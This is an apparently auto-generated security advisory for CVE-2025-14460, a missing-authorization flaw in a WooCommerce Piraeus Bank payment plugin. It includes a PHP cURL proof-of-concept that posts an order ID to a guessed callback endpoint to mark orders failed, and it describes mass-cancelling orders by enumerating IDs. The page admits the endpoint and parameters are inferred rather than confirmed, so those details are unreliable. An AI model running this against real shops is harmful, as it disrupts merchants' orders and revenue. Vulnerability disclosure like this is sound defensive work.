Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14460: Piraeus Bank WooCommerce Payment Gateway <= 3.1.4 – Missing Authorization to Unauthenticated Arbitrary Order Status Change (woo-payment-gateway-for-piraeus-bank)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.1.4
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14460 (metadata-based):
This vulnerability is a missing authorization flaw in the Piraeus Bank WooCommerce Payment Gateway plugin. It allows unauthenticated attackers to change the status of any WooCommerce order to ‘failed’ via a publicly accessible payment callback endpoint. The CVSS score of 5.3 (Medium) reflects its network-based attack vector and low attack complexity, which leads to integrity impact and business disruption.

Atomic Edge research indicates the root cause is a missing capability or nonce check on the plugin’s handler for the payment gateway’s ‘fail’ callback. The CWE-862 (Missing Authorization) classification confirms this. The vulnerability description states the handler processes the ‘MerchantReference’ parameter, which contains the order ID. Without a proper authorization check, the function executes privileged order status updates based on unauthenticated input. These conclusions are inferred from the CWE and description, as the source code is unavailable for confirmation.

Exploitation requires sending a crafted HTTP request to the plugin’s public payment callback endpoint. Attackers can guess sequential order IDs. The likely endpoint is a WooCommerce API route or a custom plugin endpoint listening for gateway callbacks. A typical payload would be a POST or GET request containing a parameter like ‘MerchantReference’ set to a target order number. The request triggers the ‘fail’ callback logic, changing the specified order’s status.

Remediation requires adding an authorization check before processing the callback. The patched version likely validates a payment gateway signature, a secure token, or a WooCommerce order key. It should also verify the request originates from the legitimate payment gateway IP range. Proper implementation would reject requests lacking these credentials, preventing unauthorized status changes.

The impact is business disruption. Attackers can mass-cancel orders by enumerating sequential IDs. This causes canceled shipments, inventory reconciliation problems, and direct revenue loss. Customer service workloads increase due to erroneous failure notifications. The attack does not grant access to sensitive data or system control, but it damages operational integrity and trust.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14460 - Piraeus Bank WooCommerce Payment Gateway <= 3.1.4 - Missing Authorization to Unauthenticated Arbitrary Order Status Change
<?php
/**
 * Proof of Concept for CVE-2025-14460.
 * This script attempts to change a WooCommerce order status to 'failed'.
 * The exact endpoint and parameter names are inferred from the vulnerability description.
 * Assumptions:
 *   1. The vulnerable endpoint is publicly accessible.
 *   2. The 'MerchantReference' parameter accepts the target order ID.
 *   3. The endpoint processes a 'fail' callback action.
 */

$target_url = 'https://example.com/wp-json/wc/v3/piraeus/callback';
// Alternative common endpoint patterns:
// $target_url = 'https://example.com/?wc-api=piraeus_callback';
// $target_url = 'https://example.com/wp-admin/admin-ajax.php?action=piraeus_callback';

$order_id = 123; // Sequential order ID to target

$post_data = [
    'MerchantReference' => $order_id,
    // Additional parameters may be required based on gateway spec; this is the minimal inferred payload.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful exploitation may return a specific success message or redirect.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School